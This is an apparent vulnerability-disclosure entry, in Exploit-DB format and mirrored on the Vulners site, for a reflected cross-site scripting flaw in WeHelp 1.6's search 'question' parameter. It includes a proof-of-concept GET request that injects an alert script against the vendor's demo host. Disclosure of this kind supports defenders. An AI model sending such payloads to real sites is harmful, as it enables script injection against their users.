`# Exploit Title: WeHelp 1.6 - 'home/search question' Cross-site Scripting
# Google Dork: N/A
# Date: 14 Feb 2019
# Exploit Author: Deyaa Muhammad
# Author EMail: contact [at] deyaa.me
# Author Blog: http://deyaa.me
# Vendor Homepage: https://www.elmanawy.info/
# Software Link: https://codecanyon.net/item/wehelp-ticket-support-system/22686943
# Demo Link: https://www.elmanawy.info/demo/wehelp/home
# Version: 1.6
# Tested on: WIN7_x68/Linux
# CVE : N/A
# Description:
----------------------
WeHelp 1.6 suffers from a Cross-site Scripting vulnerability.
# POC:
----------------------
1. Access the following path http://[PATH]/home/search
2. Manipulate the parameter "question" with your own XSS payload.
# Request:
----------------------
GET /demo/wehelp/home/search?question=<script>alert('XSS')</script> HTTP/1.1
Host: www.elmanawy.info
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
X-XSS-Protection: 0
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation